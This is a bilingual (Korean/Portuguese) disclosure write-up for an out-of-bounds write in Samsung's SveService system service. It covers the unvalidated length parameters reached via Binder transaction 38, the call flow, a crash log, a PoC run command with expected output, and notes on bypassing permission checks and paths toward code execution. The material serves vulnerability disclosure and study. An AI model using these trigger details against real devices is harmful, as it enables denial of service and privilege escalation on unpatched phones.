SveService 버퍼 오버플로우

Samsung SMR May 2026

SVE-2026-0478(CVE-2026-21018)

영향을 받는 버전: Android 14, 15, 16

공개 상태: 비공개 제보

SMR May-2026 Release 1 이전의 SveService에서 발생하는 경계를 벗어난 쓰기(Out-of-bounds write)로 인해 로컬 권한 공격자가 임의 코드를 실행할 수 있습니다.

패치는 적절한 입력 검증을 추가합니다.

경고: 이것은 교육 목적의 개념 증명(PoC)일 뿐입니다. 공부 외의 목적으로 사용하는 모든 행위에 대해 저는 책임을 지지 않습니다. 경고했습니다.

이 PoC는 Galaxy A17 LTE(SM-A175F)에서 테스트되었습니다.

English

요약

Android 16을 실행하는 Samsung 기기의 시스템 서비스 SveService(com.sec.sve)에서 발생하는 버퍼 오버플로우 취약점입니다. 이 서비스는 system(UID 1000)으로 실행되며, Binder를 통해 특별한 권한 없이 접근할 수 있습니다.

구성 요소

취약점

sveJNISVE_SetCodecInfo(libsvejni.so:0x21710)에서 매개변수 i18, i19, i20(AIDL에서 i106/i107/i108로 수신, TRANSACTION_sveSetCodecInfo = 38)이 크기 검증 없이 memset, sub sp, sp, xN(alloca), memcpy에 직접 전달됩니다.

유사한 함수(GetVersion, EnableSRTP, SetSRTPParams, SetGcmSrtpParams)는 cmp w20, #0x1e; b.gt로 검증합니다(30바이트 초과 거부). SetCodecInfo는 전혀 검증하지 않습니다.

호출 흐름

App/Script
  → ServiceManager.getService("SveService")
  → transact(38, parcel, ...)
  → ISecVideoEngineService$Stub.onTransact()
  → SecVideoEngineImpl.sveSetCodecInfo()
  → SveJniProxy.sveJNISVE_SetCodecInfo()
  → libsvejni.so: Java_com_samsung_sve_sveJNI_sveJNISVE_SetCodecInfo
       ├── memset(dst, 0, i18)
       ├── sub sp, sp, (i19+15)&~15
       ├── memset(dst, 0, i19)
       ├── sub sp, sp, (i20+15)&~15
       ├── memset(dst, 0, i20)
       ├── memcpy(dst, src, i18)
       ├── memcpy(dst, src, i19)
       └── memcpy(dst, src, i20)

-1(0xFFFFFFFF) 값의 경우

크래시 증거(Tombstone 07)

Cause: stack pointer is in a non-existent map; likely due to stack overflow.
signal 11 (SIGSEGV), code 1 (SEGV_MAPERR)

#00  __memset_aarch64+160       libc.so
#01  sveJNISVE_SetCodecInfo+504 libsvejni.so (offset 0x21908)

x2  00000000ffffffff   ← memset count = 4GB
x24 00000000ffffffff   ← i18 = -1
sp  000000707f5f7610   ← SP in invalid region
x29 000000717f5f7710   ← original frame pointer

PoC

cd poc
./build_and_run.sh

예상 출력:

[*] Phase 1: valid call (1,1,1)...
[+] Returned: 0
[*] Phase 2: i106=-1...
[!] Exception: DeadObjectException: null
[+] SveService CRASHED - overflow confirmed

참고 사항

• 루트 불필요: app_process를 통한 ServiceManager.getService()는 shell UID로 동작합니다.
• 권한 우회: signatureOrSystem 권한이 적용되지 않습니다. 서비스가 ServiceManager.addService()로 직접 등록되어 Android의 권한 메커니즘을 우회합니다.
• 크래시 불가피: 0xFFFFFFFF를 사용한 memset은 항상 크래시를 일으킵니다. RCE에는 주소 누출 + ROP가 필요합니다(SM-A175F에는 PAC 없음).

Português

Resumo

Vulnerabilidade de buffer overflow no serviço de sistema SveService (com.sec.sve) em dispositivos Samsung com Android 16. O serviço roda como system (UID 1000) e é acessível sem qualquer permissão especial via Binder.

Componentes

A Vulnerabilidade

Na função sveJNISVE_SetCodecInfo (libsvejni.so:0x21710), os parâmetros i18, i19, i20 (recebidos da AIDL como i106/i107/i108, TRANSACTION_sveSetCodecInfo = 38) são usados diretamente como argumentos para memset, sub sp, sp, xN (alloca) e memcpy sem qualquer validação de tamanho.

Outras funções similares (GetVersion, EnableSRTP, SetSRTPParams, SetGcmSrtpParams) validam com cmp w20, #0x1e; b.gt (rejeitam > 30 bytes). SetCodecInfo não valida nada.

Fluxo da Chamada

App/Script
  → ServiceManager.getService("SveService")
  → transact(38, parcel, ...)
  → ISecVideoEngineService$Stub.onTransact()
  → SecVideoEngineImpl.sveSetCodecInfo()
  → SveJniProxy.sveJNISVE_SetCodecInfo()
  → libsvejni.so: Java_com_samsung_sve_sveJNI_sveJNISVE_SetCodecInfo
       ├── memset(dst, 0, i18)
       ├── sub sp, sp, (i19+15)&~15
       ├── memset(dst, 0, i19)
       ├── sub sp, sp, (i20+15)&~15
       ├── memset(dst, 0, i20)
       ├── memcpy(dst, src, i18)
       ├── memcpy(dst, src, i19)
       └── memcpy(dst, src, i20)

Valores com -1 (0xFFFFFFFF)

PoC

cd poc
./build_and_run.sh

Saída esperada:

[*] Phase 1: valid call (1,1,1)...
[+] Returned: 0
[*] Phase 2: i106=-1...
[!] Exception: DeadObjectException: null
[+] SveService CRASHED - overflow confirmed

Observações

• Sem root: ServiceManager.getService() via app_process funciona com UID shell.
• Permissão: A permissão signatureOrSystem NÃO é aplicada — o serviço é registrado via ServiceManager.addService() diretamente, bypassando o permission check.
• Crash inevitável: memset com 0xFFFFFFFF sempre crasha. RCE precisaria de leak de endereço + ROP (PAC ausente no SM-A175F).